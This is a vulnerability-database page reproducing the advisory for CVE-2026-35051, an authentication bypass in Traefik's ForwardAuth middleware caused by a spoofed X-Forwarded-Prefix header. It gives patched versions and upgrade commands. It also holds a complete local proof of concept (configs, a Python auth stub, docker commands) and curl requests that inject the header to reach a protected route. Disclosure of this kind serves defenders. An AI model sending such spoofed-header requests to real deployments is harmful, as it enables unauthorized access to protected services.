Loading...
Skip to main content

CVE-2026-35051

HIGH

Traefik's ForwardAuth trustForwardHeader=false allows spoofed X-Forwarded-Prefix to bypass authentication

Published April 24, 2026Updated June 25, 2026Source: osv

Summary

## Summary There is a high-severity authentication bypass vulnerability in Traefik's `ForwardAuth` middleware when `trustForwardHeader=false` is configured and Traefik is deployed behind a trusted upstream proxy. While `X-Forwarded-*` headers (such as `X-Forwarded-For`, `X-Forwarded-Host`, and `X-Forwarded-Proto`) from trusted context are correctly rebuilt, it does not strip or rebuild `X-Forwarded-Prefix`, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service. When the authentication service makes authorization decisions based on `X-Forwarded-Prefix`, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2 ## For more information If there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary `ForwardAuth` with `trustForwardHeader=false` still forwards an attacker-controlled `X-Forwarded-Prefix` header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on `X-Forwarded-Prefix` for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes. This was validated this against Traefik `v3.6.12` using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the `ForwardAuth` subrequest handling rather than general ingress header stripping. ### Details The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server. In [`pkg/middlewares/auth/forward.go`](pkg/middlewares/auth/forward.go), `writeHeader` first copies all incoming request headers into the auth subrequest: ```go func writeHeader(req, forwardReq *http.Request, trustForwardHeader bool, allowedHeaders []string) { utils.CopyHeaders(forwardReq.Header, req.Header) ... forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders) ``` It then selectively rebuilds only a subset of forwarded headers when `trustForwardHeader=false`, for example: - `X-Forwarded-For` - `X-Forwarded-Method` - `X-Forwarded-Proto` - `X-Forwarded-Port` - `X-Forwarded-Host` - `X-Forwarded-Uri` However, it does **not** remove or rebuild `X-Forwarded-Prefix`, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted. This becomes security-relevant when `StripPrefix` is used before `ForwardAuth`. In [`pkg/middlewares/stripprefix/strip_prefix.go`](pkg/middlewares/stripprefix/strip_prefix.go), Traefik appends the stripped prefix using `Header.Add`: ```go func (s *stripPrefix) serveRequest(rw http.ResponseWriter, req *http.Request, prefix string) { req.Header.Add(ForwardedPrefixHeader, prefix) ``` If the attacker already sent `X-Forwarded-Prefix: /admin`, and `StripPrefix` later adds `/forbidden`, the auth service receives both values in this order: 1. `/admin` (attacker-controlled) 2. `/forbidden` (Traefik-generated) An auth service that uses the first `X-Forwarded-Prefix` value can therefore be tricked into authorizing a protected route. Why this appears unintended: - The docs say `trustForwardHeader` means "Trust all X-Forwarded-* headers" and defaults to `false`. - The migration notes say `X-Forwarded-Prefix` is handled like other `X-Forwarded-*` headers and removed from untrusted sources. - The direct-to-Traefik test case behaves consistently with that expectation and returns `403`. - Only the auth subrequest path still honors the spoofed `X-Forwarded-Prefix`. Relevant source/documentation locations: - `pkg/middlewares/auth/forward.go` lines 393-459 - `pkg/middlewares/stripprefix/strip_prefix.go` lines 65-68 - `pkg/middlewares/forwardedheaders/forwarded_header.go` lines 15-43 - `docs/content/reference/routing-configuration/http/middlewares/forwardauth.md` lines 59-62 and 130-140 - `docs/content/migrate/v3.md` lines 192-196 This was only tested and validated with `X-Forwarded-Prefix`. By source review, other forwarded headers that are copied but not rebuilt in `writeHeader` may deserve separate review, but I am not claiming impact for them here. ### PoC The following uses the official `traefik:v3.6.12` Docker image and a mounted `traefik.toml`, matching the documented deployment style. 1. Create `traefik.toml`: ```toml [entryPoints] [entryPoints.web] address = ":80" [entryPoints.web.forwardedHeaders] trustedIPs = ["172.31.79.0/24"] [providers] [providers.file] filename = "/etc/traefik/dynamic.toml" watch = false [log] level = "DEBUG" [accessLog] ``` 2. Create `dynamic.toml`: ```toml [http.routers] [http.routers.app] entryPoints = ["web"] rule = "Host(`app.local`) && PathPrefix(`/forbidden`)" middlewares = ["strip-forbidden", "authz"] service = "backend" [http.middlewares] [http.middlewares.strip-forbidden.stripPrefix] prefixes = ["/forbidden"] [http.middlewares.authz.forwardAuth] address = "http://auth:8000/check" trustForwardHeader = false authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"] [http.services] [http.services.backend.loadBalancer] [[http.services.backend.loadBalancer.servers]] url = "http://backend:80" ``` 3. Create `auth.py`: ```python import json from http.server import BaseHTTPRequestHandler, HTTPServer class Handler(BaseHTTPRequestHandler): def do_GET(self): if not self.path.startswith("/check"): self.send_response(404) self.end_headers() return prefixes = self.headers.get_all("X-Forwarded-Prefix") or [] first = prefixes[0] if prefixes else "" payload = { "path": self.path, "first_prefix": first, "all_prefixes": prefixes, "x_forwarded_for": self.headers.get_all("X-Forwarded-For") or [], } print(json.dumps(payload), flush=True) if first == "/admin": self.send_response(200) self.send_header("X-Auth-First-Prefix", first) self.send_header("X-Auth-All-Prefixes", "|".join(prefixes)) self.end_headers() self.wfile.write(b"authorized\n") return self.send_response(403) self.send_header("Content-Type", "application/json") self.end_headers() self.wfile.write(json.dumps(payload).encode() + b"\n") HTTPServer(("0.0.0.0", 8000), Handler).serve_forever() ``` 4. Create `frontend.conf`: ```nginx server { listen 80; access_log /dev/stdout; location / { proxy_http_version 1.1; proxy_pass http://traefik:80; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } } ``` 5. Start the containers: ```bash docker network create --subnet 172.31.79.0/24 traefik-readme-net docker run -d --name traefik-readme-backend \ --network traefik-readme-net \ --network-alias backend \ traefik/whoami docker run -d --name traefik-readme-auth \ --network traefik-readme-net \ --network-alias auth \ -v "$PWD/auth.py:/app/auth.py:ro" \ -w /app \ python:3.12-alpine \ python /app/auth.py docker run -d --name traefik-readme-traefik \ --network traefik-readme-net \ --network-alias traefik \ -p 18081:80 \ -v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \ -v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \ traefik:v3.6.12 docker run -d --name traefik-readme-frontend \ --network traefik-readme-net \ -p 18080:80 \ -v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \ nginx:alpine ``` 6. Send three requests: Direct to Traefik, spoofed header: ```bash curl -sS -i \ -H 'Host: app.local' \ -H 'X-Forwarded-Prefix: /admin' \ http://127.0.0.1:18081/forbidden/test ``` Expected result: ```http HTTP/1.1 403 Forbidden ... {"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]} ``` Through trusted proxy, no spoofing: ```bash curl -sS -i \ -H 'Host: app.local' \ http://127.0.0.1:18080/forbidden/test ``` Expected result: ```http HTTP/1.1 403 Forbidden ... {"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]} ``` Through trusted proxy, spoofed header: ```bash curl -sS -i \ -H 'Host: app.local' \ -H 'X-Forwarded-Prefix: /admin' \ http://127.0.0.1:18080/forbidden/test ``` Observed result: ```http HTTP/1.1 200 OK ... X-Auth-All-Prefixes: /admin|/forbidden X-Auth-First-Prefix: /admin X-Forwarded-Prefix: /admin X-Forwarded-Prefix: /forbidden ``` The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix. 7. Optional log confirmation from the auth service: ```bash docker logs traefik-readme-auth ``` Observed log sequence: ```json {"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...} {"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...} {"path": "/check", "first_prefix": "/admin", "all_prefixes": ["/admin", "/forbidden"], ...} ``` 8. Cleanup: ```bash docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend docker network rm traefik-readme-net ``` ### Impact This is an authentication bypass / trust-boundary bypass. Affected deployments are those that: - run Traefik behind a trusted upstream proxy - use `ForwardAuth` - rely on `trustForwardHeader=false` to avoid trusting client-supplied forwarded headers - pass `X-Forwarded-Prefix` to the auth service, which happens by default when `authRequestHeaders` is empty - make authorization or routing decisions based on `X-Forwarded-Prefix`, especially when `StripPrefix` runs before `ForwardAuth` In those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied. </details> ----

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/traefik/traefik/v2 to 2.11.43 or later
go get github.com/traefik/traefik/v2@v2.11.43
Go
Update github.com/traefik/traefik/v3 to 3.6.14 or later
go get github.com/traefik/traefik/v3@v3.6.14
Go
Update github.com/traefik/traefik/v3 to 3.7.0-rc.2 or later
go get github.com/traefik/traefik/v3@v3.7.0-rc.2

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (4)

PackageEcosystemAffectedFixed In
github.com/traefik/traefik/v2
go
All versions2.11.43
github.com/traefik/traefik/v3
go
All versions3.6.14
github.com/traefik/traefik/v3
go
All versions3.7.0-rc.2
github.com/traefik/traefik
go
All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-345
    Insufficient Verification of Data AuthenticityMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-35051?
Traefik's ForwardAuth trustForwardHeader=false allows spoofed X-Forwarded-Prefix to bypass authentication This vulnerability has been assigned a severity rating of HIGH (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-35051?
CVE-2026-35051 affects github.com/traefik/traefik/v2, github.com/traefik/traefik/v3 and github.com/traefik/traefik. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-35051 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-6384-m2mw-rf54
GO-2026-5163

Related CVEs

  • CVE-2026-65600
    CRITICAL

    Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware

  • CVE-2026-71324
    HIGH

    Traefik: Cross-user response poisoning via proxied CONNECT on Traefik's shared backend keep-alive pool

  • CVE-2026-39858
    HIGH

    Traefik: Pre-authentication decision bypass due to forwarded alias spoofing

  • CVE-2026-40912
    HIGH

    Traefik has an StripPrefixRegex Middleware Authorization Bypass via Path/RawPath Desync

  • CVE-2025-32431
    HIGH

    Traefik has a possible vulnerability with its path matchers

  • CVE-2026-53622
    HIGH

    Traefik: HTTP/3 mTLS bypass via exact SNI TLSOptions lookup for wildcard and mixed-case hosts

  • CVE-2026-32305
    HIGH

    Traefik has a Potential mTLS Bypass via Fragmented TLS ClientHello Causing Pre-SNI Sniff Fallback to Default Non-mTLS TLS Config

  • CVE-2026-44774
    MEDIUM

    Traefik: Gateway API TraefikService backend accepts rest@internal, allowing unauthorized exposure of the REST provider despite providers.rest.insecure=false

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies